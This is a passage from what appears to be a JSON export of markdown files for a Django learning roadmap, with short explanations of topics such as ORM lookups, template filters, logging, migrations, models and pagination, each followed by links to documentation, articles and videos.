    "content": "# Filtering and Lookups in Django ORM\n\nFiltering and lookups are fundamental mechanisms within Django's Object-Relational Mapper (ORM) that allow you to precisely query your database. They enable you to retrieve specific data based on defined criteria, such as finding all users with a particular name or all articles published within a certain date range. These tools provide a powerful and flexible way to interact with your database without writing raw SQL queries.\n\nVisit the following resources to learn more:\n\n- [@official@Field lookups](https://docs.djangoproject.com/en/6.0/topics/db/queries/#field-lookups)\n- [@official@How to write custom lookups](https://docs.djangoproject.com/en/6.0/howto/custom-lookups/)\n- [@official@filter()](https://docs.djangoproject.com/en/6.0/ref/models/querysets/#django.db.models.query.QuerySet.filter)\n- [@article@Filter Reference](https://django-filter.readthedocs.io/en/latest/ref/filters.html)\n- [@video@Django ORM - QuerySet Filtering and Lookups / Ordering and Slicing QuerySets](https://www.youtube.com/watch?v=84BBAGEu064)"
  },
  {
    "path": "src/data/roadmaps/django/content/filters--custom-filters@jhZsz4yMcYHgWsigQ4nzU.md",
    "content": "# Filters & Custom Filters\n\nFilters in Django Template Language (DTL) are used to modify the output of variables. They are applied using a pipe `|` symbol and can perform various transformations like changing case, formatting dates, or truncating text. Custom filters allow developers to define their own reusable template tags to perform specific data manipulations not covered by the built-in filters.\n\nVisit the following resources to learn more:\n\n- [@official@Filters](https://docs.djangoproject.com/en/6.0/ref/templates/language/#filters)\n- [@official@Built-in template tags and filters](https://docs.djangoproject.com/en/6.0/ref/templates/builtins/)\n- [@article@filter Template Tag](https://www.w3schools.com/django/ref_tags_filter.php)\n- [@article@Django Templates: Implementing Custom Tags and Filters](https://realpython.com/django-template-custom-tags-filters/)\n- [@video@Creating Custom Template Filters in Django!](https://www.youtube.com/watch?v=g2WkvFSVce8)"
  },
  {
    "path": "src/data/roadmaps/django/content/filters@jPhWe3MfOLbisxNCaivmz.md",
    "content": "# Logging Filters\n\nFilters in Django's logging framework provide a way to add extra control over which log records are processed by a handler. They determine whether a specific log record should be emitted based on criteria you define. This allows you to selectively include or exclude log messages based on attributes like the logger name, log level, or any other custom logic you implement. Filters are attached to handlers, and a handler will only process a log record if all of its filters allow it.\n\nVisit the following resources to learn more:\n\n- [@official@Filters](https://docs.djangoproject.com/en/6.0/topics/logging/#topic-logging-parts-filters)\n- [@article@Logging in Django — Part II [Filters and Formatters]](https://medium.com/django-unleashed/logging-in-django-part-ii-filters-and-formatters-c7190d360ab2)"
  },
  {
    "path": "src/data/roadmaps/django/content/fixtures@3CnuISrkDffQgys-x0AP4.md",
    "content": "# Fixtures\n\nFixtures in Django provide a way to populate your database with initial data, useful for testing, development, or providing a default dataset for your application. They are typically data files (JSON, XML, or YAML) containing serialized data for one or more database tables, allowing you to easily load and unload data into your Django project's database. This ensures a consistent and repeatable database state.\n\nVisit the following resources to learn more:\n\n- [@official@Fixtures](https://docs.djangoproject.com/en/6.0/topics/db/fixtures/)\n- [@official@How to provide initial data for models](https://docs.djangoproject.com/en/6.0/howto/initial-data/)\n- [@article@Django Fixtures: A Guide to Managing Static and Test Data](https://www.mindbowser.com/django-fixtures-guide/)\n- [@video@Django 4.0: How to Build and Load Fixtures From Scratch](https://www.youtube.com/watch?v=llO8vj6duJc)"
  },
  {
    "path": "src/data/roadmaps/django/content/for@Ta2kZmFI4sguQDb1gKJLh.md",
    "content": "# For Loop in Django Templates\n\nThe `for` tag in Django Template Language (DTL) provides a way to iterate over items in a list or other iterable object within your templates. It allows you to display data dynamically by looping through each item and rendering it according to the template's structure. You can access loop-specific variables like the current iteration number and whether it's the first or last item.\n\nVisit the following resources to learn more:\n\n- [@official@for](https://docs.djangoproject.com/en/6.0/ref/templates/builtins/#for)\n- [@article@Django for Tag](https://www.w3schools.com/django/django_tags_for.php)"
  },
  {
    "path": "src/data/roadmaps/django/content/form-validation@-HGUhMNlPlbwuKMDX1e18.md",
    "content": "# Form Validation\n\nForm validation in Django is the process of ensuring that the data submitted by a user through a form meets specific requirements before it's saved to the database. This involves checking for things like required fields, correct data types (e.g., email address format), minimum or maximum lengths, and other custom rules you define. If the data doesn't pass these checks, Django provides mechanisms to display error messages to the user, prompting them to correct the input.\n\nVisit the following resources to learn more:\n\n- [@official@Form and field validation](https://docs.djangoproject.com/en/6.0/ref/forms/validation/)\n- [@article@Data Validation in Django](https://www.scaler.com/topics/django/data-validation-in-django/)\n- [@video@Django ORM - Model Field Validators / Writing Custom Validators / ModelForms](https://www.youtube.com/watch?v=1x0Zdukpjrs)\n- [@video@Try DJANGO Tutorial - 27 - Form Validation Methods](https://www.youtube.com/watch?v=wVnQkKf-gHo)"
  },
  {
    "path": "src/data/roadmaps/django/content/formatters@rvnqGZxTu3YMH4HQwJ61i.md",
    "content": "# Formatters\n\nFormatters in Django's logging framework structure log records into human-readable or machine-parseable strings. They define the layout of log messages, specifying which pieces of information (like timestamp, log level, message content, or source file) are included and how they are arranged. You can customize formatters to suit your specific needs, ensuring that log output is clear, consistent, and useful for debugging and monitoring your Django application.\n\nVisit the following resources to learn more:\n\n- [@official@Formatters](https://docs.djangoproject.com/en/6.0/topics/logging/#topic-logging-parts-formatters)\n- [@article@Logging in Django — Part II [Filters and Formatters]](https://medium.com/django-unleashed/logging-in-django-part-ii-filters-and-formatters-c7190d360ab2)\n- [@video@Logging in Django and Python Applications - Handlers / Formatters / Better Stack aggregation](https://www.youtube.com/watch?v=XSwIUnGXrwY)"
  },
  {
    "path": "src/data/roadmaps/django/content/function-based-views@3k2Fo1-qldnE38HLtAtvv.md",
    "content": "# Function-Based Views\n\nFunction-based views in Django are Python functions that take a web request and return a web response. They are a simple and direct way to handle HTTP requests and generate the appropriate output, such as HTML, JSON, or redirects. These views provide a basic structure for processing user input, interacting with models, and rendering templates.\n\nVisit the following resources to learn more:\n\n- [@official@Writing views](https://docs.djangoproject.com/en/6.0/topics/http/views/#a-simple-view)\n- [@article@Django Functional Based Views](https://medium.com/@rkiptoo5244/django-functional-based-views-37c1d560d154)\n- [@article@Class-based vs Function-based Views in Django](https://testdriven.io/blog/django-class-based-vs-function-based-views/)\n- [@video@Why I Use Django Function Based Views](https://www.youtube.com/watch?v=mKzStOGIc4A)\n- [@video@Creating function based views in Django [16 of 24] | Django for Beginners](https://www.youtube.com/watch?v=IYr430whtzY)"
  },
  {
    "path": "src/data/roadmaps/django/content/generic-views@-JKD1SRtFWt3b99aPbfx7.md",
    "content": "# Generic Views\n\nGeneric views in Django are pre-built views that handle common web development tasks, like displaying a list of objects, creating new objects, or updating existing ones. They reduce the amount of boilerplate code you need to write by providing reusable logic for interacting with your models and templates. Instead of writing custom view functions for each task, you can configure these generic views to suit your specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in class-based generic views](https://docs.djangoproject.com/en/6.0/topics/class-based-views/generic-display/)\n- [@article@Django Class-Based Views vs Generic Class-Based Views](https://medium.com/@ashishpandey2062/django-class-based-views-vs-generic-class-based-views-2ce548c073db)\n- [@article@Class-Based Generic Views in Django](https://thoughtbot.com/blog/class-based-generic-views-in-django)\n- [@video@Django - Generic & Class-Based Views! (an alternative to functions)](https://www.youtube.com/watch?v=DDIP-icVpA8)"
  },
  {
    "path": "src/data/roadmaps/django/content/grouping-urls@yA2qE3CeQx6goxKAavwjH.md",
    "content": "# Grouping URLs\n\nGrouping URLs in Django involves organizing your URL patterns into logical sections within your project's `urls.py` files. This is typically achieved using the `include()` function, which allows you to delegate URL handling to other `urls.py` files. By grouping related URLs, you can improve the structure and maintainability of your project, making it easier to navigate and understand the URL configuration. This approach is especially useful for larger projects with numerous URL patterns."
  },
  {
    "path": "src/data/roadmaps/django/content/handlers@IO9J54i7gSyunGRtIYJra.md",
    "content": "# Handlers\n\nHandlers in Django's logging framework determine _where_ log messages go. They act as the delivery mechanism, taking log records created by loggers and sending them to specific destinations. These destinations can include the console, files, email addresses, or even external services. Different handlers can be configured to handle different log levels, allowing you to route critical errors to one location and less severe warnings to another.\n\nVisit the following resources to learn more:\n\n- [@official@Handlers](https://docs.djangoproject.com/en/6.0/topics/logging/#topic-logging-parts-handlers)\n- [@article@Mastering Logging in Django: A Comprehensive Guide](http://medium.com/@akshatgadodia/mastering-logging-in-django-a-comprehensive-guide-aff850d15ae3)\n- [@video@Logging in Django and Python Applications - Handlers / Formatters / Better Stack aggregation](https://www.youtube.com/watch?v=XSwIUnGXrwY)"
  },
  {
    "path": "src/data/roadmaps/django/content/how-the-web-works@Xrcl09I9ZShOwhAWynsO6.md",
    "content": "# How the Web Works\n\nThe web operates through a client-server model where a client (like a web browser) sends a request to a server, and the server processes that request and sends back a response. This interaction involves protocols like HTTP for communication, URLs to identify resources, and DNS to translate domain names into IP addresses, enabling users to access and interact with content hosted on servers across the internet.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to the Internet](https://roadmap.sh/guides/what-is-internet)\n- [@article@How does the Internet Work?](https://cs.fyi/guide/how-does-internet-work)\n- [@article@How does the Internet work? | MDN Dcos](https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Web_mechanics/How_does_the_Internet_work)\n- [@video@How the Internet Works in 5 Minutes](https://www.youtube.com/watch?v=7_LPdttKXPc)"
  },
  {
    "path": "src/data/roadmaps/django/content/if@9sR_5U94v5qZdEiwngo67.md",
    "content": "# Conditional Logic in Django Templates\n\nThe `if` tag in Django Template Language (DTL) allows you to control which parts of your template are rendered based on the truthiness of a variable or expression. It evaluates a variable, and if that variable is \"true\" (i.e., exists, is not empty, and is not a false boolean value), the block of code within the `if` tag is rendered. You can also use `elif` and `else` tags to create more complex conditional logic.\n\nVisit the following resources to learn more:\n\n- [@article@if](https://docs.djangoproject.com/en/6.0/ref/templates/builtins/#if)\n- [@article@if Template Tag](https://www.w3schools.com/django/ref_tags_if.php)"
  },
  {
    "path": "src/data/roadmaps/django/content/installing--django@GB1fgFjrGS-ZM8QTJinOr.md",
    "content": "# Installing Django\n\nInstalling Django involves setting up the Django package on your system so you can start developing web applications. This typically involves using a package installer like pip to download and install the necessary files and dependencies. Once installed, you can verify the installation and begin creating your Django project.\n\nVisit the following resources to learn more:\n\n- [@official@How to install Django](https://docs.djangoproject.com/en/6.0/topics/install/)\n- [@official@How to get Django](https://www.djangoproject.com/download/)\n- [@article@Django Getting Started](https://www.w3schools.com/django/django_getstarted.php)\n- [@video@How To Install Django For Python 3.11.3 | PIP and Django on Windows 10/11 | Django Tutorials](https://www.youtube.com/watch?v=Uq7TkegTXRU)"
  },
  {
    "path": "src/data/roadmaps/django/content/introduction@m7fQLURtbiz4BM2UcZPeS.md",
    "content": "# Introduction\n\nDjango is a high-level Python web framework that encourages rapid development and clean, pragmatic design. It takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. Django follows the model-template-views (MTV) architectural pattern, providing a structured way to build web applications.\n\nVisit the following resources to learn more:\n\n- [@course@Python Django 101](https://www.simplilearn.com/free-python-django-course-skillup)\n- [@book@Django for Professionals](http://ia800604.us.archive.org/3/items/ebooks_202307/djangoforprofessionals.pdf)\n- [@official@Django](https://www.djangoproject.com/start/overview/)\n- [@official@Django Docs](https://docs.djangoproject.com/en/)\n- [@article@Django Introduction](https://www.w3schools.com/django/django_intro.php)\n- [@video@Django Crash Course – Python Web Framework](https://www.youtube.com/watch?v=0roB7wZMLqI)\n- [@video@Django Tutorial for Beginners – Build Powerful Backends](https://www.youtube.com/watch?v=rHux0gMZ3Eg)\n- [@video@Django For Everybody - Full Python University Course](https://www.youtube.com/watch?v=o0XbHvKxw7Y)"
  },
  {
    "path": "src/data/roadmaps/django/content/listview@mLMh30_UjacqqNRyKRCiP.md",
    "content": "# ListView\n\nListView is a type of generic view in Django that simplifies the process of displaying a list of objects from a database. It automates tasks like fetching data, paginating results, and rendering a template with the list of objects, reducing the amount of boilerplate code you need to write when creating list views.\n\nVisit the following resources to learn more:\n\n- [@official@ListView](https://docs.djangoproject.com/en/6.0/ref/class-based-views/generic-display/)\n- [@article@Django Tutorial Part 6: Generic list and detail views](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Generic_views#overview)\n- [@article@Django ListView](https://www.pythontutorial.net/django-tutorial/django-listview/)\n- [@video@The Basics of Django ListView](https://www.youtube.com/watch?v=J74OTEhmLU0)\n- [@video@Django Full Course - 20.1 - Class Based Views. Built-in generic views (ListView, DetailView)](https://www.youtube.com/watch?v=SCvFhXNVVvs)"
  },
  {
    "path": "src/data/roadmaps/django/content/localization@waLyhhzu4JkMnhnVdP9xf.md",
    "content": "# Localization\n\nLocalization is the process of adapting a product or content to a specific target market. This involves translating text, but also adapting other elements like date formats, currency symbols, and cultural references to make the product feel native to the user's region. It ensures that the application is accessible and relevant to users from different linguistic and cultural backgrounds.\n\nVisit the following resources to learn more:\n\n- [@official@Internationalization and localization¶](https://docs.djangoproject.com/en/6.0/topics/i18n/)\n- [@article@How to Localize Your Django App](https://www.freecodecamp.org/news/localize-django-app/)\n- [@article@Django i18n: A beginner's guide](https://lokalise.com/blog/django-i18n-beginners-guide/)\n- [@video@Django Internationalization](https://www.youtube.com/watch?v=AlJ8cGbk8ps&list=PLcTpn5-ROA4ysIVpky5IWe0pJbHFvRuYI)"
  },
  {
    "path": "src/data/roadmaps/django/content/loggers@zoFHTdr2iBTGdHbmv_9LI.md",
    "content": "# Loggers\n\nLoggers are the entry points in Django's logging system that your code uses to record events. They capture messages, optionally filter them based on severity levels (like DEBUG, INFO, WARNING, ERROR, and CRITICAL), and then pass them on to handlers. Handlers determine what to do with the log messages, such as writing them to a file, sending them via email, or displaying them on the console. You can configure multiple loggers, each with its own settings, to manage different parts of your application's logging needs.\n\nVisit the following resources to learn more:\n\n- [@official@Loggers](https://docs.djangoproject.com/en/6.0/topics/logging/#loggers)"
  },
  {
    "path": "src/data/roadmaps/django/content/logging@SxATl4QiM9iA1_qaUNJXx.md",
    "content": "# Logging\n\nLogging in Django provides a way to record events that occur while your application is running. It allows you to track errors, warnings, and other important information, which is crucial for debugging and monitoring your application's behavior in different environments. Django's logging system is based on Python's built-in `logging` module, offering flexibility in configuring how and where log messages are stored.\n\nVisit the following resources to learn more:\n\n- [@official@Logging](https://docs.djangoproject.com/en/6.0/topics/logging/)\n- [@official@How to configure and use logging¶](https://docs.djangoproject.com/en/6.0/howto/logging/)\n- [@article@The Complete Guide to Logging in Django](https://dev.to/pragativerma18/the-complete-guide-to-logging-in-django-5fde)\n- [@article@How to Get Started with Logging in Django](https://betterstack.com/community/guides/logging/how-to-start-logging-with-django/)\n- [@video@Logging in Django and Python Applications - Handlers / Formatters / Better Stack aggregation](https://www.youtube.com/watch?v=XSwIUnGXrwY)"
  },
  {
    "path": "src/data/roadmaps/django/content/managepy@wwKzZhC3xPQ-oymwjW5Yn.md",
    "content": "# manage.py\n\n`manage.py` is a command-line utility that's automatically created when you start a new Django project. It acts as a central point for running administrative tasks related to your project, such as starting the development server, running tests, creating database migrations, and more. Think of it as a helper script that simplifies interacting with your Django project from the command line.\n\nVisit the following resources to learn more:\n\n- [@article@Writing your first Django app, part 1](https://docs.djangoproject.com/en/6.0/intro/tutorial01/)\n- [@article@django-admin and manage.py¶](https://docs.djangoproject.com/en/6.0/ref/django-admin/)\n- [@video@Python Basics Tutorial Django Manage.py Startapp](https://www.youtube.com/watch?v=s0Ca-Tdon9Y)"
  },
  {
    "path": "src/data/roadmaps/django/content/mariadb@udVG-R6R2UHnvTsXO80xQ.md",
    "content": "# MariaDB in Django\n\nMariaDB is an open-source relational database management system that is often used as a drop-in replacement for MySQL. It's known for its performance, stability, and rich feature set. Django can be configured to use MariaDB as its database backend, allowing you to store and manage your application's data using this database system.\n\nVisit the following resources to learn more:\n\n- [@official@MariaDB Notes](https://docs.djangoproject.com/en/6.0/ref/databases/#mariadb-notes)\n- [@article@Django + MariaDB](https://medium.com/code-zen/django-mariadb-85cc9daeeef8)\n- [@video@Django installation with DB (MariaDB/MYSQL) connection & virtualenv](https://www.youtube.com/watch?v=uKSzH4-cG_w)"
  },
  {
    "path": "src/data/roadmaps/django/content/media@GA1Zn14Q2EvDmo452V8OO.md",
    "content": "# Media Folder\n\nThe media folder in a Django project is where you store user-uploaded files like images, videos, and documents. Django doesn't automatically create this folder; you typically create it yourself at the project's root or within an app. You'll configure Django to know where this folder is located so it can serve these files correctly.\n\nVisit the following resources to learn more:\n\n- [@article@Working with Static and Media Files in Django](https://testdriven.io/blog/django-static-files/)"
  },
  {
    "path": "src/data/roadmaps/django/content/message-framework@AztOoGUtPW_6jP6NqJ5T-.md",
    "content": "# Message Framework\n\nThe message framework in Django provides a way to deliver one-time notification messages, also known as \"flash messages,\" to users. These messages are typically used to provide feedback about the outcome of an action, such as a successful form submission or an error that occurred. They are stored temporarily and displayed to the user on their next page view, then automatically removed.\n\nVisit the following resources to learn more:\n\n- [@official@The messages framework](https://docs.djangoproject.com/en/6.0/ref/contrib/messages/)\n- [@article@Messages Framework](https://django-advanced-training.readthedocs.io/en/latest/features/contrib.messages/)\n- [@article@Implementing Messaging Functionality with the Messages Framework in Django](https://medium.com/@iamalisaleh/implementing-messaging-functionality-with-the-messages-framework-in-django-23d7afc8f1d2)\n- [@article@Basics of Django Messages Framework](https://micropyramid.com/blog/basics-of-django-message-framework/)\n- [@video@#23 Django tutorials | Passing Messages](https://www.youtube.com/watch?v=Mf_97YaUKag)\n- [@video@Exploring Django | The Messages Framework](https://www.youtube.com/watch?v=MhUfgeWFgos)"
  },
  {
    "path": "src/data/roadmaps/django/content/middelware@IsZm5SZWJ0CTjxCOKZnn-.md",
    "content": "# Middleware\n\nMiddleware is a framework of hooks into Django's request/response processing. It's a way to modify the incoming request or outgoing response at different stages of the process. Each middleware component is a class that performs a specific function, like modifying request headers, handling sessions, or logging user activity, before the view is executed or after the response is generated.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware](https://docs.djangoproject.com/en/6.0/topics/http/middleware/)\n- [@official@Middleware Componetns](https://docs.djangoproject.com/en/6.0/ref/middleware/)\n- [@article@A Comprehensive Guide to Django Middleware](https://www.datree.io/resources/guide-to-django-middleware)\n- [@article@What is Django Middleware & Its Role in Request Processing](https://www.horilla.com/blogs/what-is-django-middleware-and-its-role-in-request-processing/)\n- [@video@Writing Django Middleware (with tests!) | HTMX middleware | IP Blacklist middleware](https://www.youtube.com/watch?v=--ddZc39wVQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/middleware@IsZm5SZWJ0CTjxCOKZnn-.md",
    "content": "# Middleware\n\nMiddleware is a framework of hooks into Django's request/response processing. It's a way to modify the incoming request or outgoing response at different stages of the process. Each middleware component is a class that performs a specific function, like modifying request headers, handling sessions, or logging user activity, before the view is executed or after the response is generated.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware](https://docs.djangoproject.com/en/6.0/topics/http/middleware/)\n- [@official@Middleware Componetns](https://docs.djangoproject.com/en/6.0/ref/middleware/)\n- [@article@A Comprehensive Guide to Django Middleware](https://www.datree.io/resources/guide-to-django-middleware)\n- [@article@What is Django Middleware & Its Role in Request Processing](https://www.horilla.com/blogs/what-is-django-middleware-and-its-role-in-request-processing/)\n- [@video@Writing Django Middleware (with tests!) | HTMX middleware | IP Blacklist middleware](https://www.youtube.com/watch?v=--ddZc39wVQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/migrations@lUlJdqmd7YRpyRCfgT_EK.md",
    "content": "# Migrations\n\nMigrations in Django are a way to propagate changes you make to your models (like adding a field, deleting a model, etc.) into your database schema. They are essentially Python files that describe how to alter your database tables to match the current state of your models. Django uses these files to keep your database schema in sync with your application's models over time.\n\nVisit the following resources to learn more:\n\n- [@official@Migrations](https://docs.djangoproject.com/en/6.0/topics/migrations/)\n- [@article@Part-2: Migrations Files in Django Framework](https://medium.com/@altafkhan_24475/part-2-migrations-files-in-django-framework-486b9d4e173b)\n- [@article@How To Get Up And Running With Django Migrations: A Guide](https://coderpad.io/blog/development/how-to-get-up-and-running-with-django-migrations-a-guide/)"
  },
  {
    "path": "src/data/roadmaps/django/content/migrations@tCK6V3T4oGy9O8Wur2k9d.md",
    "content": "# Migrations\n\nMigrations are Django's way of propagating changes you make to your models (like adding a field, deleting a model, etc.) into your database schema. They are essentially files that contain instructions on how to modify your database to match your model definitions. These files are generated based on the differences between your current models and the last known state of your database, allowing you to evolve your database schema over time in a controlled and reversible manner.\n\nVisit the following resources to learn more:\n\n- [@official@Migrations](https://docs.djangoproject.com/en/6.0/topics/migrations/)\n- [@official@Migration Operations](https://docs.djangoproject.com/en/6.0/ref/migration-operations/)\n- [@article@Mastering Django Migrations: A Complete Beginner’s Guide](https://medium.com/simform-engineering/mastering-django-migrations-a-complete-beginners-guide-a50d29924c7c)\n- [@article@Squashing Django Migrations the Easy Way](https://jacklinke.com/squashing-django-migrations-the-easy-way)\n- [@video@Django - What are migrations - actually? Introduction to migrations and the Django database](https://www.youtube.com/watch?v=N4gjiJumTZg)"
  },
  {
    "path": "src/data/roadmaps/django/content/model-forms@HjcEX3u5iRSlq69U-pSEs.md",
    "content": "# Model Form Validation\n\nModelForm validation in Django involves ensuring that the data entered into a form, which is directly tied to a Django model, meets specific criteria before it's saved to the database. This process includes checking data types, lengths, and any custom validation rules defined in the model or the form itself, guaranteeing data integrity and preventing errors.\n\nVisit the following resources to learn more:\n\n- [@official@Creating forms from models](https://docs.djangoproject.com/en/6.0/topics/forms/modelforms/)\n- [@article@Create Model Objects With a ModelForm](https://openclassrooms.com/en/courses/6967196-create-a-web-application-with-django/7349525-create-model-objects-with-a-modelform)\n- [@article@ModelForm](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Forms#modelforms)\n- [@video@Model Form | Django](https://www.youtube.com/watch?v=VOddmV4Xl1g)"
  },
  {
    "path": "src/data/roadmaps/django/content/model-inheritance@SWNGsyrpP7XghRa_zKQbb.md",
    "content": "# Model Inheritance\n\nModel inheritance in Django allows you to create new models that inherit fields and behaviors from existing models. This promotes code reuse and helps establish relationships between different data entities in your application. By inheriting from a base model, you can avoid redefining common fields and methods, making your code more organized and maintainable.\n\nVisit the following resources to learn more:\n\n- [@official@Model inheritance](https://docs.djangoproject.com/fr/2.2/topics/db/models/#model-inheritance)\n- [@article@Understanding Django-Advanced Model Inheritance.](https://foysalff.medium.com/understanding-django-model-inheritance-b0c38588ebb4)\n- [@article@Django Model Inheritance](https://dev.to/highcenburg/django-model-inheritance-4f3p)\n- [@video@Django Model Inheritance Options Introduction - ORM Part-9](https://www.youtube.com/watch?v=4Xag2FzmN60)\n- [@video@Django Model Inheritance - Abstract Models and Multi-Table Inheritance](https://www.youtube.com/watch?v=KSPRODsdfo4)"
  },
  {
    "path": "src/data/roadmaps/django/content/model-methods@NV1l8YU9CHw_I8NhhN0hO.md",
    "content": "# Model Methods\n\nModel methods are functions you define within a Django model class to add custom behavior to individual model instances. These methods allow you to encapsulate logic related to a specific object, such as calculating derived values, performing data manipulations, or implementing custom validation rules. They provide a clean and organized way to extend the functionality of your models beyond the basic fields and relationships.\n\nVisit the following resources to learn more:\n\n- [@official@Model methods](https://docs.djangoproject.com/en/6.0/topics/db/models/#model-methods)\n- [@article@An Overview of Django Model Methods in 2023](https://www.horilla.com/blogs/an-overview-of-django-model-methods-in-2023/)\n- [@video@Django Model Properties & Methods | @property decorator | get_absolute_url() method](https://www.youtube.com/watch?v=PgHaH8tGdWw)\n- [@video@Django Tutorial #11 - Model Methods](https://www.youtube.com/watch?v=ERCt6HUcaFw)"
  },
  {
    "path": "src/data/roadmaps/django/content/model-relationships@D7wMA3PYw1RYMz9lXGsgW.md",
    "content": "# Model Relationships\n\nModel relationships in Django define how different models (database tables) are connected. These relationships allow you to link related data, such as a blog post belonging to a specific author or a customer having multiple orders. Django provides different types of relationships like One-to-One, One-to-Many (ForeignKey), and Many-to-Many to represent these connections effectively in your database schema.\n\nVisit the following resources to learn more:\n\n- [@official@Relationships](https://docs.djangoproject.com/en/6.0/topics/db/models/#relationships)\n- [@official@Examples of model relationship API usage](https://docs.djangoproject.com/en/6.0/topics/db/examples/)\n- [@article@How to Define Relationships Between Django Models](https://www.freecodecamp.org/news/django-model-relationships/)\n- [@video@Understanding Django Model Relationships](http://youtube.com/watch?v=2KqhBkMv7aM)\n- [@video@Database Relationships | One To Many & Many to Many | Django (3.0) Crash Course Tutorials (pt 6)](https://www.youtube.com/watch?v=wIPHER2UBB4)"
  },
  {
    "path": "src/data/roadmaps/django/content/models@iY7yJ9NN77F6wvlgD4zKG.md",
    "content": "# Models\n\nModels are Python classes that represent database tables. Each model attribute represents a database field. Django uses these models to interact with the database, allowing you to create, read, update, and delete data without writing raw SQL queries. They define the structure of your data and provide a high-level interface for database operations.\n\nVisit the following resources to learn more:\n\n- [@official@Models](https://docs.djangoproject.com/en/6.0/topics/db/models/)\n- [@article@Django Models](https://www.w3schools.com/django/django_models.php)\n- [@article@Django Tutorial Part 3: Using models](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Models)\n- [@article@Django models](https://tutorial.djangogirls.org/en/django_models/)\n- [@video@Python Django Models and Migrations](https://www.youtube.com/watch?v=5DW4Ky1Um4o)\n- [@video@Django Models | Crash Course | Field Types, Connections, and Model Functions](https://www.youtube.com/watch?v=RbJOmgTX63M)"
  },
  {
    "path": "src/data/roadmaps/django/content/modelspy@WYPjCQcccmwcjnxM_5VkU.md",
    "content": "# Models.py\n\n`models.py` is a Python file within a Django app that defines the structure of your application's data. It contains classes that represent database tables, with each class attribute representing a field in the table. These models allow you to interact with your database using Python code, abstracting away the complexities of raw SQL queries.\n\nVisit the following resources to learn more:\n\n- [@official@Models](https://docs.djangoproject.com/en/6.0/topics/db/models/)\n- [@article@Django models](https://www.w3schools.com/django/django_models.php)\n- [@article@What exactly is model.py and how does it works?](https://medium.com/@stefano.passaro/what-exactly-is-model-py-and-how-does-it-works-31c3ab35af11)"
  },
  {
    "path": "src/data/roadmaps/django/content/mysql@pnyNAPLViP4LBGvkVbZ5s.md",
    "content": "# MySQL in Django\n\nMySQL is a popular open-source relational database management system. Django supports MySQL as one of its database backends, allowing you to store and manage your application's data using MySQL's robust features. To use MySQL with Django, you'll need to install the appropriate MySQL driver, configure your Django project's settings to connect to the database, and then define your data models and interact with the database using Django's ORM.\n\nVisit the following resources to learn more:\n\n- [@official@MySQL Notes](https://docs.djangoproject.com/en/6.0/ref/databases/#mysql-notes)\n- [@article@Beginner’s Django Guide: Setting Up Projects with MySQL](https://medium.com/@nikhilrpandey15/beginners-guide-to-django-setting-up-projects-with-mysql-03ff8cb43a44)\n- [@article@Django-MySQL Documentation](https://django-mysql.readthedocs.io/en/latest/)\n- [@video@How to Connect MySQL database with Django Project | Beginners Tutorial](https://www.youtube.com/watch?v=5g_xIwxLSJk)\n- [@video@How to Create a Django MySQL Database with Django Models](https://www.youtube.com/watch?v=IiUYyZo2gTk)"
  },
  {
    "path": "src/data/roadmaps/django/content/named-urls@3qImaY9Hs3Cvatw1X96Ns.md",
    "content": "# Named URLs\n\nNamed URLs in Django provide a way to refer to your URL patterns by name instead of hardcoding the URL strings in your templates and views. This allows you to change your URL structure without having to update every place where the URL is used, making your code more maintainable and less prone to errors. By assigning a unique name to each URL pattern, you can use this name to dynamically generate URLs, ensuring that your links remain consistent even if the underlying URL structure changes.\n\nVisit the following resources to learn more:\n\n- [@official@Naming URL patterns](https://docs.djangoproject.com/en/6.0/topics/http/urls/#naming-url-patterns)\n- [@article@Named URL patterns](https://www.hostinger.com/my/tutorials/django-url-patterns#Named_URL_patterns)\n- [@video@Django Tutorial #15 - Named URL's](https://www.youtube.com/watch?v=07YSCsscYhc)\n- [@video@Django URLs - Named URLS, url template-tag, Reversing URLs, URL namespaces, & get_absolute_url()](https://www.youtube.com/watch?v=obRENgwHS7A)"
  },
  {
    "path": "src/data/roadmaps/django/content/pagination@-ZFQ0QzqqBIuSQK9CwLg4.md",
    "content": "# Pagination\n\nPagination divides large datasets into smaller, discrete pages, improving user experience and server performance. In Django, this is typically used when displaying a large number of objects, such as blog posts or product listings. Instead of loading all items at once, pagination allows users to navigate through the data in manageable chunks, reducing load times and making it easier to find specific information.\n\nVisit the following resources to learn more:\n\n- [@official@Pagination](https://docs.djangoproject.com/en/6.0/topics/pagination/)\n- [@official@Paginator](https://docs.djangoproject.com/en/6.0/ref/paginator/)\n- [@article@Pagination in Django](https://testdriven.io/blog/django-pagination/)\n- [@article@Django Pagination Tutorial with Example](https://medium.com/django-unleashed/django-pagination-tutorial-with-example-745cefd54eb3)\n- [@video@Pagination For Django - Django Wednesdays #18](https://www.youtube.com/watch?v=N-PB-HMFmdo)"
  },
  {
    "path": "src/data/roadmaps/django/content/path-converters@NB50RuNBT5Oja2Ry6p892.md",
    "content": "# Path Converters\n\nPath converters in Django are special strings within URL patterns that capture specific parts of the URL and pass them as arguments to your view functions. They define the type of data expected in that part of the URL (like an integer, string, or slug) and ensure that the data is correctly formatted before being passed to the view. This allows you to create dynamic URLs that can handle different types of input and simplifies the process of extracting data from the URL for use in your application logic.\n\nVisit the following resources to learn more:\n\n- [@official@Path converters](https://docs.djangoproject.com/en/6.0/topics/http/urls/#path-converters)\n- [@article@Django: write a custom URL path converter to match given strings](https://adamj.eu/tech/2025/08/01/django-custom-url-converter-string/)\n- [@article@Path Converters in Django: Customizing Your URL Patterns](https://python.plainenglish.io/path-converters-in-django-customizing-your-url-patterns-19791b6401f4)\n- [@video@Django Path Converters - Built-in Converters and Writing Custom Converters!](https://www.youtube.com/watch?v=hrfqwj7JCAc)"
  },
  {
    "path": "src/data/roadmaps/django/content/pdb-ipdb@WRHWs75DbhuiVZm1XMe7z.md",
